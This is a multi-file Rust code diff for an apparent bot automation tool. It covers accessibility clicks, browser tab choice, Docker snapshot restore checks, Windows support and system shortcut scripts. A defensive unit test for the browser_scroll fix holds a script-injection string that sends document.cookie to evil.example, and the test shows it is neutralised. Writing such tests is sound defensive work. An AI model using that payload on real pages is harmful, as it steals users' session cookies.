let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.2, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string()); let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string());
// Keep the element alive through the press: CFRetain, press, then release. press(found.0, &role_of(found.0)).map(|_| label)
unsafe { CFRetain(best.2) };
let r = press(best.2, &role_of(best.2));
unsafe { CFRelease(best.2) };
r.map(|_| label)
} }
/// Press what sits under a screen point, if accessibility can name it. /// Press what sits under a screen point, if accessibility can name it.
pub fn press_at(pid: i32, x: f64, y: f64) -> Result<String, String> { pub fn press_at(pid: i32, x: f64, y: f64) -> Result<String, String> {
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?; let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
let mut best = (0usize, std::ptr::null(), false); let mut best = (0usize, None, false);
let mut seen = 0; let mut seen = 0;
find_at(app.0, x, y, &mut best, &mut seen, 0); find_at(app.0, x, y, &mut best, &mut seen, 0);
if best.1.is_null() { let Some(found) = best.1 else {
return Err("那個位置不在任何控件上".into()); return Err("那個位置不在任何控件上".into());
} };
if !best.2 { if !best.2 {
return Err("那個位置的控件不接受點按".into()); return Err("那個位置的控件不接受點按".into());
} }
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.1, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into()); let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into());
unsafe { CFRetain(best.1) }; press(found.0, &role_of(found.0)).map(|_| label)
let r = press(best.1, &role_of(best.1));
unsafe { CFRelease(best.1) };
r.map(|_| label)
} }
/// Set the focused field's text (typing without keystrokes). False = caller types keys. /// Set the focused field's text (typing without keystrokes). False = caller types keys.
@ -269,7 +271,7 @@ mod mac {
unsafe { AXUIElementSetAttributeValue(focused.0, cfstr("AXValue").0, v.0) == 0 } unsafe { AXUIElementSetAttributeValue(focused.0, cfstr("AXValue").0, v.0) == 0 }
} }
/// Deepest AXMenuItem (in any open menu) whose words match `want` best (exact first). /// Deepest AXMenuItem (in any open menu) whose words match `want` best (exact first).
fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) { fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option<Cf>), seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH { if *seen >= MAX_NODES || depth > MAX_DEPTH {
return; return;
} }
@ -277,7 +279,7 @@ mod mac {
if attr_string(el, "AXRole").is_some_and(|r| r == "AXMenuItem" || r == "AXMenuBarItem") { if attr_string(el, "AXRole").is_some_and(|r| r == "AXMenuItem" || r == "AXMenuBarItem") {
let score = ["AXTitle", "AXDescription"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0); let score = ["AXTitle", "AXDescription"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
if score > best.0 { if score > best.0 {
*best = (score, depth, el); *best = (score, depth, Some(keep(el)));
} }
} }
let (_keep, kids) = children(el); let (_keep, kids) = children(el);
@ -303,22 +305,17 @@ mod mac {
let names = items.iter().filter_map(|k| attr_string(*k, "AXTitle")).collect::<Vec<_>>().join("、"); let names = items.iter().filter_map(|k| attr_string(*k, "AXTitle")).collect::<Vec<_>>().join("、");
return Err(format!("選單列裡沒有「{want}」(有:{names})")); return Err(format!("選單列裡沒有「{want}」(有:{names})"));
} }
unsafe { CFRetain(*item) }; // (`_keep`, the menu bar's own list, is held to the end of this function.)
let r = press(*item, "AXMenuBarItem"); press(*item, "AXMenuBarItem")?;
unsafe { CFRelease(*item) };
r?;
std::thread::sleep(std::time::Duration::from_millis(350)); std::thread::sleep(std::time::Duration::from_millis(350));
for seg in &path[1..] { for seg in &path[1..] {
let mut best = (0u8, 0usize, std::ptr::null()); let mut best = (0u8, 0usize, None);
let mut seen = 0; let mut seen = 0;
find_menu_item(app.0, seg.trim(), &mut best, &mut seen, 0); find_menu_item(app.0, seg.trim(), &mut best, &mut seen, 0);
if best.2.is_null() { let Some(found) = best.2 else {
return Err(format!("打開的選單裡沒有「{}」(前面已點:{})", seg.trim(), path[..path.len() - 1].join("→"))); return Err(format!("打開的選單裡沒有「{}」(前面已點:{})", seg.trim(), path[..path.len() - 1].join("→")));
} };
unsafe { CFRetain(best.2) }; press(found.0, "AXMenuItem")?;
let r = press(best.2, "AXMenuItem");
unsafe { CFRelease(best.2) };
r?;
std::thread::sleep(std::time::Duration::from_millis(250)); std::thread::sleep(std::time::Duration::from_millis(250));
} }
Ok(path.join(" → ")) Ok(path.join(" → "))
@ -331,15 +328,15 @@ mod mac {
Some(a) => a, Some(a) => a,
None => return fields.iter().map(|(n, _)| (n.clone(), Err("這個 App 沒有輔助使用介面".into()))).collect(), None => return fields.iter().map(|(n, _)| (n.clone(), Err("這個 App 沒有輔助使用介面".into()))).collect(),
}; };
let mut editables: Vec<CFTypeRef> = Vec::new(); let mut editables: Vec<Cf> = Vec::new();
collect_editables(app.0, &mut editables, &mut 0, 0); collect_editables(app.0, &mut editables, &mut 0, 0);
let mut out = Vec::new(); let mut out = Vec::new();
for (name, value) in fields { for (name, value) in fields {
let best = editables let best = editables
.iter() .iter()
.filter_map(|e| { .filter_map(|e| {
let s = name_match(&name_of(*e), name); let s = name_match(&name_of(e.0), name);
(s > 0 && is_editable(*e)).then_some((s, *e)) (s > 0 && is_editable(e.0)).then_some((s, e.0))
}) })
.max_by_key(|(s, _)| *s); .max_by_key(|(s, _)| *s);
out.push(match best { out.push(match best {
@ -362,12 +359,15 @@ mod mac {
["AXTitle", "AXDescription", "AXPlaceholderValue", "AXHelp"].iter().filter_map(|a| attr_string(el, a)).find(|s| !s.trim().is_empty()).unwrap_or_default() ["AXTitle", "AXDescription", "AXPlaceholderValue", "AXHelp"].iter().filter_map(|a| attr_string(el, a)).find(|s| !s.trim().is_empty()).unwrap_or_default()
} }
fn collect_editables(el: CFTypeRef, out: &mut Vec<CFTypeRef>, seen: &mut usize, depth: usize) { /// Every field of the app that text can be written into (kept: see `keep`).
fn collect_editables(el: CFTypeRef, out: &mut Vec<Cf>, seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH { if *seen >= MAX_NODES || depth > MAX_DEPTH {
return; return;
} }
*seen += 1; *seen += 1;
out.push(el); if is_editable(el) {
out.push(keep(el));
}
let (_keep, kids) = children(el); let (_keep, kids) = children(el);
for k in kids { for k in kids {
collect_editables(k, out, seen, depth + 1); collect_editables(k, out, seen, depth + 1);

View File

@ -545,13 +545,18 @@ pub fn release(job: &str) -> Vec<String> {
/// ///
/// A page that actually went somewhere (http/https) beats a blank one at every step: a browser /// A page that actually went somewhere (http/https) beats a blank one at every step: a browser
/// that boots on about:blank (headless Chrome does) must not strand a job on the empty tab. /// that boots on about:blank (headless Chrome does) must not strand a job on the empty tab.
/// The job's own tab counts as somewhere whenever it is not blank — a file it opened, a
/// chrome:// page: only http counted, so such a tab lost to any web page nobody had, and the
/// job's next step read and clicked in that one.
pub fn pick_tab(list: &[Value]) -> Option<&Value> { pub fn pick_tab(list: &[Value]) -> Option<&Value> {
let me = job(); let me = job();
let id = |t: &Value| t["id"].as_str().unwrap_or("").to_string(); let id = |t: &Value| t["id"].as_str().unwrap_or("").to_string();
let url = |t: &Value| t["url"].as_str().unwrap_or("").to_string();
let mine = |t: &Value| !me.is_empty() && owner(&id(t)).as_deref() == Some(me.as_str()); let mine = |t: &Value| !me.is_empty() && owner(&id(t)).as_deref() == Some(me.as_str());
let live = |t: &Value| t["url"].as_str().unwrap_or("").starts_with("http"); let live = |t: &Value| url(t).starts_with("http");
let somewhere = |t: &Value| !url(t).is_empty() && !["about:", "chrome://newtab", "chrome://new-tab-page"].iter().any(|blank| url(t).starts_with(blank));
let free = |t: &Value| !others_tab(&id(t)); let free = |t: &Value| !others_tab(&id(t));
list.iter().find(|t| mine(t) && live(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t))) list.iter().find(|t| mine(t) && somewhere(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t)))
} }
/// The open page tabs' ids (none when the browser isn't open; it isn't started for this). /// The open page tabs' ids (none when the browser isn't open; it isn't started for this).
@ -897,6 +902,9 @@ mod tests {
// A job's own real page still wins over a stranger's. // A job's own real page still wins over a stranger's.
let mine = vec![serde_json::json!({"type": "page", "id": "theirs", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "mine", "url": "https://mine.example"})]; let mine = vec![serde_json::json!({"type": "page", "id": "theirs", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "mine", "url": "https://mine.example"})];
assert_eq!(as_job("job-y", || { claim("mine"); pick_tab(&mine).map(|t| t["id"].clone()) }), Some("mine".into())); assert_eq!(as_job("job-y", || { claim("mine"); pick_tab(&mine).map(|t| t["id"].clone()) }), Some("mine".into()));
// The job's own page that is no web page (a file it opened) is still its page.
let file = vec![serde_json::json!({"type": "page", "id": "web", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "report", "url": "file:///tmp/report.html"})];
assert_eq!(as_job("job-f", || { claim("report"); pick_tab(&file).map(|t| t["id"].clone()) }), Some("report".into()));
// All blank: keep the old behaviour (own tab, then any free one). // All blank: keep the old behaviour (own tab, then any free one).
let blanks = vec![serde_json::json!({"type": "page", "id": "b1", "url": "about:blank"}), serde_json::json!({"type": "page", "id": "b2", "url": "about:blank"})]; let blanks = vec![serde_json::json!({"type": "page", "id": "b1", "url": "about:blank"}), serde_json::json!({"type": "page", "id": "b2", "url": "about:blank"})];
assert_eq!(as_job("job-z", || { claim("b2"); pick_tab(&blanks).map(|t| t["id"].clone()) }), Some("b2".into())); assert_eq!(as_job("job-z", || { claim("b2"); pick_tab(&blanks).map(|t| t["id"].clone()) }), Some("b2".into()));

View File

@ -247,6 +247,16 @@ fn changes(before: &(String, String, Vec<String>), after: &(String, String, Vec<
// ---------- finding an element ---------- // ---------- finding an element ----------
/// The element a bot means: its number, else visible text / label / placeholder. /// The element a bot means: its number, else visible text / label / placeholder.
/// The way browser_scroll goes: up, top, bottom, or (anything else) down.
fn scroll_direction(asked: &str) -> &'static str {
match asked.trim().to_lowercase().as_str() {
"up" => "up",
"top" => "top",
"bottom" => "bottom",
_ => "down",
}
}
fn find_js(r#ref: &str, text: &str) -> String { fn find_js(r#ref: &str, text: &str) -> String {
let rf = serde_json::to_string(r#ref.trim().trim_matches(['[', ']'])).unwrap_or_default(); let rf = serde_json::to_string(r#ref.trim().trim_matches(['[', ']'])).unwrap_or_default();
let tx = serde_json::to_string(text.trim()).unwrap_or_default(); let tx = serde_json::to_string(text.trim()).unwrap_or_default();
@ -744,14 +754,17 @@ pub fn run(name: &str, args: &Value) -> Result<(String, Option<String>), String>
let after = snapshot(&mut tab); let after = snapshot(&mut tab);
return Ok((format!("已捲到 {what}。\n{}", changes(&before, &after)), None)); return Ok((format!("已捲到 {what}。\n{}", changes(&before, &after)), None));
} }
let js = match s(args, "direction").as_str() { // One of four words, never the model's own text: it goes into the page's script
// (anything else there ran as script on a page the person is logged in to).
let direction = scroll_direction(&s(args, "direction"));
let js = match direction {
"up" => "window.scrollBy(0, -innerHeight * 0.85)", "up" => "window.scrollBy(0, -innerHeight * 0.85)",
"top" => "window.scrollTo(0, 0)", "top" => "window.scrollTo(0, 0)",
"bottom" => "window.scrollTo(0, document.documentElement.scrollHeight)", "bottom" => "window.scrollTo(0, document.documentElement.scrollHeight)",
_ => "window.scrollBy(0, innerHeight * 0.85)", _ => "window.scrollBy(0, innerHeight * 0.85)",
}; };
// Pages that scroll an inner box: scroll the biggest scrollable element too. // Pages that scroll an inner box: scroll the biggest scrollable element too.
tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()", s(args, "direction")))?; tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{direction}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()"))?;
settle_after(&mut tab, &sig, 500, 2500); settle_after(&mut tab, &sig, 500, 2500);
let after = snapshot(&mut tab); let after = snapshot(&mut tab);
let pos = tab.eval("JSON.stringify([Math.round(scrollY), document.documentElement.scrollHeight, innerHeight])")?; let pos = tab.eval("JSON.stringify([Math.round(scrollY), document.documentElement.scrollHeight, innerHeight])")?;
@ -1083,6 +1096,14 @@ fn table(tab: &mut Tab, args: &Value) -> Result<String, String> {
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
/// The direction goes into the page's script: only the four words ever do.
#[test]
fn a_scroll_goes_one_of_four_ways() {
use super::scroll_direction;
assert_eq!((scroll_direction("up"), scroll_direction(" Top "), scroll_direction("bottom"), scroll_direction("")), ("up", "top", "bottom", "down"));
assert_eq!(scroll_direction("'; fetch('https://evil.example/?c=' + document.cookie); '"), "down");
}
#[test] #[test]
fn the_one_tool_maps_every_action() { fn the_one_tool_maps_every_action() {
let mut c = |args: &str| { let mut c = |args: &str| {

View File

@ -1063,10 +1063,14 @@ pub fn ensure_running() -> Result<(), String> {
Run::NoDocker(e) => Err(e), Run::NoDocker(e) => Err(e),
Run::Absent => { Run::Absent => {
set_run(Run::Starting("建立中")); set_run(Run::Starting("建立中"));
// Asked before the box is made: Docker fills a new volume with the image's own
// home (.bashrc, .profile…), so a new home never looked empty afterwards and the
// saved one was never put back.
let new_home = !home_volume_exists();
create_container().and_then(|_| { create_container().and_then(|_| {
// A brand-new box on an empty volume (a wiped Docker, a new host): the saved // A brand-new box on an empty volume (a wiped Docker, a new host): the saved
// home brings the files and every bot's logins back by themselves. // home brings the files and every bot's logins back by themselves.
if snapshot_path().exists() && !home_has_files() { if snapshot_path().exists() && (new_home || !home_has_files()) {
log("新的電腦家目錄是空的:從最近的快照還原檔案和登入…"); log("新的電腦家目錄是空的:從最近的快照還原檔案和登入…");
let src = snapshot_path(); let src = snapshot_path();
if let Err(e) = copy_in_snapshot(&src) { if let Err(e) = copy_in_snapshot(&src) {
@ -1325,6 +1329,30 @@ fn copy_in_snapshot(src: &std::path::Path) -> Result<(), String> {
Err("還原沒有完成:copy-in outcome=unknown".into()) Err("還原沒有完成:copy-in outcome=unknown".into())
} }
/// The home volume is there already (false also when Docker can't be asked: making the box
/// fails then, and nothing is restored).
fn home_volume_exists() -> bool {
dk(&["volume", "inspect", "-f", "{{.Name}}", volume()]).is_ok()
}
/// A saved snapshot can be read to its end (a whole gzip stream with something in it). Asked
/// before the home it is to replace is thrown away.
fn snapshot_whole(src: &std::path::Path) -> Result<(), String> {
let file = std::fs::File::open(src).map_err(|e| format!("打不開快照:{e}"))?;
let mut gz = flate2::read::GzDecoder::new(std::io::BufReader::new(file));
match std::io::copy(&mut gz, &mut std::io::sink()) {
Ok(0) => Err("快照是空的".into()),
Ok(_) => Ok(()),
Err(e) => Err(format!("快照壞了,讀不到最後:{e}")),
}
}
/// Throw the home volume away. Said when it can't be (another container still holds it): the
/// step after it would otherwise call old files a new computer.
fn remove_home_volume() -> Result<(), String> {
dk(&["volume", "rm", "-f", volume()]).map(|_| ()).map_err(|e| format!("清不掉電腦裡的資料({})。原本的檔案都還在,沒有動到。", tail(&e, 200)))
}
fn home_has_files() -> bool { fn home_has_files() -> bool {
dk(&["exec", container(), "sh", "-c", &format!("ls -A {HOME} | head -1")]).map(|s| !s.trim().is_empty()).unwrap_or(false) dk(&["exec", container(), "sh", "-c", &format!("ls -A {HOME} | head -1")]).map(|s| !s.trim().is_empty()).unwrap_or(false)
} }
@ -1458,7 +1486,7 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String>
let _ = dk(&["rm", "-f", container()]); let _ = dk(&["rm", "-f", container()]);
let _ = dk(&["rm", "-f", &holder_name()]); let _ = dk(&["rm", "-f", &holder_name()]);
phase("wiping", "清除電腦裡的資料"); phase("wiping", "清除電腦裡的資料");
let _ = dk(&["volume", "rm", "-f", volume()]); remove_home_volume()?;
phase("creating", "開一台全新的電腦"); phase("creating", "開一台全新的電腦");
if !image_exists() { if !image_exists() {
build_image(false)?; build_image(false)?;
@ -1474,10 +1502,15 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String>
phase("backing-up", "復原前:先存下現在的電腦"); phase("backing-up", "復原前:先存下現在的電腦");
save_snapshot().map_err(|e| format!("復原取消了:存不下現在的狀態({e})。先處理好這個,最近的變更才不會無聲消失。"))?; save_snapshot().map_err(|e| format!("復原取消了:存不下現在的狀態({e})。先處理好這個,最近的變更才不會無聲消失。"))?;
} }
// The snapshot is read through before anything is thrown away: the home was
// wiped first and the snapshot opened last, so one that couldn't be read (gone,
// cut short) left a computer with neither.
phase("backing-up", "確認快照讀得出來");
snapshot_whole(&src).map_err(|e| format!("復原取消了:{e}。電腦沒有動到。"))?;
phase("cleaning-up", "拆掉舊的電腦和它的資料"); phase("cleaning-up", "拆掉舊的電腦和它的資料");
let _ = dk(&["rm", "-f", container()]); let _ = dk(&["rm", "-f", container()]);
let _ = dk(&["rm", "-f", &holder_name()]); let _ = dk(&["rm", "-f", &holder_name()]);
let _ = dk(&["volume", "rm", "-f", volume()]); remove_home_volume()?;
phase("creating", "從快照開一台新的電腦"); phase("creating", "從快照開一台新的電腦");
if !image_exists() { if !image_exists() {
build_image(false)?; build_image(false)?;
@ -2392,6 +2425,27 @@ pub fn shutdown() {
mod tests { mod tests {
use super::*; use super::*;
/// 復原 reads the snapshot through before it throws the home away: one cut short, empty or
/// gone is refused while the computer is still whole.
#[test]
fn a_snapshot_is_read_through_before_the_home_goes() {
use std::io::Write;
let dir = std::env::temp_dir().join(format!("anybot-snapshot-whole-{}", std::process::id()));
let _ = std::fs::create_dir_all(&dir);
let mut gz = flate2::write::GzEncoder::new(vec![], flate2::Compression::default());
gz.write_all(&vec![7u8; 200_000]).unwrap();
let whole = gz.finish().unwrap();
let file = dir.join("snapshot.tar.gz");
std::fs::write(&file, &whole).unwrap();
assert!(snapshot_whole(&file).is_ok());
std::fs::write(&file, &whole[..whole.len() / 2]).unwrap();
assert!(snapshot_whole(&file).unwrap_err().contains("讀不到最後"));
std::fs::write(&file, b"").unwrap();
assert!(snapshot_whole(&file).is_err());
assert!(snapshot_whole(&dir.join("none.tar.gz")).unwrap_err().contains("打不開"));
let _ = std::fs::remove_dir_all(&dir);
}
#[test] #[test]
fn typing_replaces_a_one_line_field_however_it_is_named() { fn typing_replaces_a_one_line_field_however_it_is_named() {
let none = serde_json::json!({}); let none = serde_json::json!({});

View File

@ -1358,8 +1358,10 @@ fn run_inner(name: &str, v: &Value) -> Result<(String, Option<String>), String>
crate::marks::names_to_numbers(&mut named, spots.as_ref())?; crate::marks::names_to_numbers(&mut named, spots.as_ref())?;
} }
let v = &named; let v = &named;
if !cfg!(any(target_os = "macos", target_os = "linux")) { // (Windows was still turned away here after it got its hands — win.rs — so nothing in
return Err("操作畫面只支援 macOS 和 Linux".into()); // that file could ever run.)
if !cfg!(any(target_os = "macos", target_os = "linux", target_os = "windows")) {
return Err("操作畫面只支援 macOS、Linux 和 Windows".into());
} }
if name == "computer_use_wait_for" { if name == "computer_use_wait_for" {
return Ok((wait_for_tool(v)?, None)); return Ok((wait_for_tool(v)?, None));
@ -1496,7 +1498,7 @@ pub fn demo_supported() -> bool {
} }
} }
/// This system's screen can be seen and used (macOS; Linux on X11 or Wayland). /// This system's screen can be seen and used (macOS; Windows; Linux on X11 or Wayland).
pub fn screen_supported() -> bool { pub fn screen_supported() -> bool {
#[cfg(target_os = "linux")] #[cfg(target_os = "linux")]
{ {
@ -1504,7 +1506,7 @@ pub fn screen_supported() -> bool {
} }
#[cfg(not(target_os = "linux"))] #[cfg(not(target_os = "linux"))]
{ {
cfg!(target_os = "macos") cfg!(any(target_os = "macos", target_os = "windows"))
} }
} }

View File

@ -221,8 +221,10 @@ pub fn read_request(c: &mut TcpStream) -> Result<Req, u16> {
} }
while body.len() < len { while body.len() < len {
let n = c.read(&mut buf).map_err(|_| 400u16)?; let n = c.read(&mut buf).map_err(|_| 400u16)?;
// The connection ended before the whole body came: not a request. (Half a body
// used to be handed on as the request: half an upload, saved over the whole one.)
if n == 0 { if n == 0 {
break; return Err(400);
} }
body.extend_from_slice(&buf[..n]); body.extend_from_slice(&buf[..n]);
} }
@ -512,4 +514,27 @@ mod tests {
assert_eq!(v["n"], 100_000); assert_eq!(v["n"], 100_000);
assert_eq!(v["p"], "/a/b"); assert_eq!(v["p"], "/a/b");
} }
/// An upload cut off on the way is no request (it used to be answered as a whole one).
#[test]
fn half_a_body_is_not_a_request() {
use std::io::Write;
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
let send = move |bytes: &'static [u8]| {
std::thread::spawn(move || {
let mut c = TcpStream::connect(("127.0.0.1", port)).unwrap();
c.write_all(bytes).unwrap();
// (Closed here, before the rest of the body.)
})
};
let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\nabc");
let (mut c, _) = l.accept().unwrap();
assert_eq!(read_request(&mut c).err(), Some(400));
t.join().unwrap();
let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\n0123456789");
let (mut c, _) = l.accept().unwrap();
assert_eq!(read_request(&mut c).map(|r| r.body).ok(), Some(b"0123456789".to_vec()));
t.join().unwrap();
}
} }

View File

@ -102,39 +102,42 @@ pub fn script(name: &str, arg: &str) -> Result<String, String> {
return Err(format!("沒有捷徑「{name}」。")); return Err(format!("沒有捷徑「{name}」。"));
} }
let a = arg.trim(); let a = arg.trim();
let mac = |s: &str| format!("case \"$(uname -s)\" in Darwin) {s} ;; Linux) "); // One script for both systems: `case` picks the branch on the machine that runs it. (The
// Mac command used to land in the Linux branch and the Linux one after it as a stray
// pattern, with a `)` left over: every shortcut was a syntax error on every machine.)
let on = |mac: &str, linux: &str| format!("case \"$(uname -s)\" in Darwin) {mac} ;; Linux) {linux} ;; esac");
Ok(match (name, a) { Ok(match (name, a) {
("volume", "up") => format!( ("volume", "up") => on(
"{}osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+ ;; esac)", "osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u'",
mac("") "pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+",
), ),
("volume", "down") => format!( ("volume", "down") => on(
"{}osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%- ;; esac)", "osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u'",
mac("") "pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%-",
), ),
("volume", "mute") => format!( ("volume", "mute") => on(
"{}osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)' ;; pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle ;; esac)", "osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)'",
mac("") "pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle",
), ),
("volume", "unmute") => format!("{}osascript -e 'set volume output muted false' ;; pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute ;; esac)", mac("")), ("volume", "unmute") => on("osascript -e 'set volume output muted false'", "pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute"),
("volume", set) => { ("volume", set) => {
// "set 40" as the facts line teaches; a bare "40" is kindly taken too. // "set 40" as the facts line teaches; a bare "40" is kindly taken too.
let Some(n) = is_num(set.strip_prefix("set ").unwrap_or(set).trim()) else { let Some(n) = is_num(set.strip_prefix("set ").unwrap_or(set).trim()) else {
return Err("volume 的 arg 要写成 set 0-100(如 set 40)或 up/down/mute/unmute。".into()); return Err("volume 的 arg 要写成 set 0-100(如 set 40)或 up/down/mute/unmute。".into());
}; };
format!("{}osascript -e 'set volume output volume {n}' ;; pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}% ;; esac)", mac("")) on(&format!("osascript -e 'set volume output volume {n}'"), &format!("pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}%"))
} }
("wifi", "on") => format!("{}networksetup -setairportpower en0 on ;; nmcli radio wifi on 2>/dev/null || rfkill unblock wifi ;; esac)", mac("")), ("wifi", "on") => on("networksetup -setairportpower en0 on", "nmcli radio wifi on 2>/dev/null || rfkill unblock wifi"),
("wifi", "off") => format!("{}networksetup -setairportpower en0 off ;; nmcli radio wifi off 2>/dev/null || rfkill block wifi ;; esac)", mac("")), ("wifi", "off") => on("networksetup -setairportpower en0 off", "nmcli radio wifi off 2>/dev/null || rfkill block wifi"),
("lock", "") => format!("{}pmset displaysleepnow ;; loginctl lock-session 2>/dev/null || xset dpms force off ;; esac)", mac("")), ("lock", "") => on("pmset displaysleepnow", "loginctl lock-session 2>/dev/null || xset dpms force off"),
("dark", "dark") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-dark ;; esac)", mac("")), ("dark", "dark") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true'", "gsettings set org.gnome.desktop.interface color-scheme prefer-dark"),
("dark", "light") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-light ;; esac)", mac("")), ("dark", "light") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false'", "gsettings set org.gnome.desktop.interface color-scheme prefer-light"),
("dark", "toggle") => format!( ("dark", "toggle") => on(
"{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)' ;; gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\" ;; esac)", "osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)'",
mac("") "gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\"",
), ),
("trash", "") => format!("{}osascript -e 'tell application \"Finder\" to empty trash' ;; rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\" ;; esac)", mac("")), ("trash", "") => on("osascript -e 'tell application \"Finder\" to empty trash'", "rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\""),
("eject", "") => format!("{}osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)' ;; echo 只有 Mac 有這個捷徑 ;; esac)", mac("")), ("eject", "") => on("osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)'", "echo 只有 Mac 有這個捷徑"),
(_, "") => return Err(format!("「{name}」不需要 arg。")), (_, "") => return Err(format!("「{name}」不需要 arg。")),
(_, _) => return Err(format!("「{name}」的 arg 不對。看捷徑說明:{}", find(name).map(|i| i.usage).unwrap_or(""))), (_, _) => return Err(format!("「{name}」的 arg 不對。看捷徑說明:{}", find(name).map(|i| i.usage).unwrap_or(""))),
}) })
@ -198,10 +201,29 @@ mod tests {
} }
#[test] #[test]
fn a_shortcut_runs_here_and_says_so() { fn every_script_is_a_script_the_shell_can_read() {
// This machine is Linux: volume goes through pactl/amixer; with neither in the // Parsed, never run (`sh -n`): running one here would lock the screen or change the
// sandbox the script still returns an honest sentence, never a panic. // volume of whoever runs the tests. The test that ran `lock` passed for the wrong
let (text, _) = tool(&serde_json::json!({"intent_name": "lock"})).unwrap(); // reason — every script was a syntax error, and the failure sentence starts with the
assert!(text.starts_with("捷徑 lock"), "{text}"); // same words as the success one.
if cfg!(target_os = "windows") {
return;
}
let all = [
("volume", "up"), ("volume", "down"), ("volume", "mute"), ("volume", "unmute"), ("volume", "set 40"), ("volume", "40"),
